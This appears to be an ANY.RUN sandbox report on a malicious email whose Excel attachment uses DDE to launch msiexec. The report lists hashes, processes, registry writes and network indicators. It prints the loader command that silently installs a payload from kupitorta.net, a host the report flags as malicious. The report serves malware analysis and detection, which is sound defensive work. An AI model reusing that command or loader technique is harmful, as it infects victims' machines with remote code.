File name:

20190516_밀내부 투입.eml

Full analysis: https://app.any.run/tasks/b95cf7a3-f445-482b-83b0-9c78f8c95ecf
Verdict: Malicious activity
Analysis date: May 24, 2019, 05:51:27
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: message/rfc822
File info: SMTP mail, ASCII text, with CRLF line terminators
MD5:

ABEBF6F8EC847956C85B53CA23D3D6C1

SHA1:

1B19B4CD14178F0483C43BB8FA65FBCF50CFB6D9

SHA256:

895DAE67A993A94C40401074D9B36906673B6B3D06EE9F37782493D0AF3CFE1B

SSDEEP:

1536:oowCdKZZQPnK1z3wjg9mQmNWzRVIv8jxod42waoNgDEtM92mQHjkAqq/DzEDm/Nl:LfK1z3wc9V+vK7NdgDEq2jhPDo6Vl

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 3208)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3208)
  • SUSPICIOUS

    • Creates files in the user directory

      • OUTLOOK.EXE (PID: 3144)
    • Starts Microsoft Office Application

      • OUTLOOK.EXE (PID: 3144)
      • EXCEL.EXE (PID: 3208)
    • Reads Internet Cache Settings

      • OUTLOOK.EXE (PID: 3144)
    • Application launched itself

      • EXCEL.EXE (PID: 3208)
  • INFO

    • Reads Microsoft Office registry keys

      • OUTLOOK.EXE (PID: 3144)
      • EXCEL.EXE (PID: 2820)
      • EXCEL.EXE (PID: 3208)
      • EXCEL.EXE (PID: 3156)
    • Creates files in the user directory

      • EXCEL.EXE (PID: 3208)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.eml | E-Mail message (Var. 1) (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
6
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start outlook.exe excel.exe no specs excel.exe no specs excel.exe no specs msiexec.exe no specs msiexec.exe

Process information

PID
CMD
Path
Indicators
Parent process
2444C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2820"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXEOUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3144"C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE" /eml "C:\Users\admin\AppData\Local\Temp\20190516_밀내부 투입.eml"C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Outlook
Exit code:
0
Version:
14.0.6025.1000
Modules
Images
c:\progra~1\micros~1\office14\outlook.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
3156"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\EXCEL.EXEEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
3204"C:\Windows\System32\msiexec.exe" back=887 error=exit /i http://kupitorta.net/lsadat2 /q OnLoad="c:\windows\calc.exe" Aciqy=VIks1¶µ±C:\Windows\System32\msiexec.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3208"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEOUTLOOK.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
Total events
2 687
Read events
2 141
Write events
507
Delete events
39

Modification events

(PID) Process:(3144) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3144) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3144) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\Resiliency\StartupItems
Operation:writeName:ai>
Value:
61693E00480C0000010000000000000000000000
(PID) Process:(3144) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook
Operation:writeName:MTTT
Value:
480C00009025E9C9F411D50100000000
(PID) Process:(3144) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\SQM
Operation:writeName:SQMSessionNumber
Value:
0
(PID) Process:(3144) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Outlook\SQM
Operation:writeName:SQMSessionDate
Value:
220052160
(PID) Process:(3144) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\0a0d020000000000c000000000000046
Operation:writeName:00030429
Value:
03000000
(PID) Process:(3144) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\9375CFF0413111d3B88A00104B2A6676
Operation:writeName:{ED475418-B0D6-11D2-8C3B-00104B2A6676}
Value:
(PID) Process:(3144) OUTLOOK.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\NoMail\9375CFF0413111d3B88A00104B2A6676
Operation:writeName:LastChangeVer
Value:
1200000000000000
(PID) Process:(3144) OUTLOOK.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109A10090400000000000F01FEC\Usage
Operation:writeName:OutlookMAPI2Intl_1033
Value:
1320681493
Executable files
0
Suspicious files
6
Text files
24
Unknown types
2

Dropped files

PID
Process
Filename
Type
3144OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\CVRF932.tmp.cvr
MD5:
SHA256:
3144OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\~DF4EA4E88DB7374313.TMP
MD5:
SHA256:
3144OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\AKUP3IJW\20190506_770036_resized (2).xls\:Zone.Identifier:$DATA
MD5:
SHA256:
3144OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\~DF743AC18BF399BD64.TMP
MD5:
SHA256:
3144OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\~DF43597D15CAAE3FA3.TMP
MD5:
SHA256:
3144OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\OICE_08A05FBF-A39F-4D54-ACF7-2BB9EC374A8A.0\B76B4900.xls\:Zone.Identifier:$DATA
MD5:
SHA256:
3208EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR5AAB.tmp.cvr
MD5:
SHA256:
3208EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFAFCCCBD6BCB6A40E.TMP
MD5:
SHA256:
3208EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DF588CD03F87FAE507.TMP
MD5:
SHA256:
3208EXCEL.EXEC:\Users\admin\AppData\Local\Temp\OICE_1C99A3F3-C15D-4C4D-B954-7DC030B7B4C0.0\3FA3E095.xls\:Zone.Identifier:$DATA
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3144
OUTLOOK.EXE
GET
64.4.26.155:80
http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig
US
whitelisted
2444
msiexec.exe
GET
188.254.179.205:80
http://kupitorta.net/lsadat2
BG
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3144
OUTLOOK.EXE
64.4.26.155:80
config.messenger.msn.com
Microsoft Corporation
US
whitelisted
2444
msiexec.exe
188.254.179.205:80
kupitorta.net
Bulsatcom EAD
BG
malicious

DNS requests

Domain
IP
Reputation
config.messenger.msn.com
  • 64.4.26.155
whitelisted
kupitorta.net
  • 188.254.179.205
  • 193.33.1.18
  • 178.169.222.191
  • 5.204.10.100
  • 37.75.33.242
  • 178.48.154.38
  • 151.237.80.80
  • 79.100.208.102
  • 62.73.70.146
  • 203.91.116.53
malicious

Threats

No threats detected
No debug info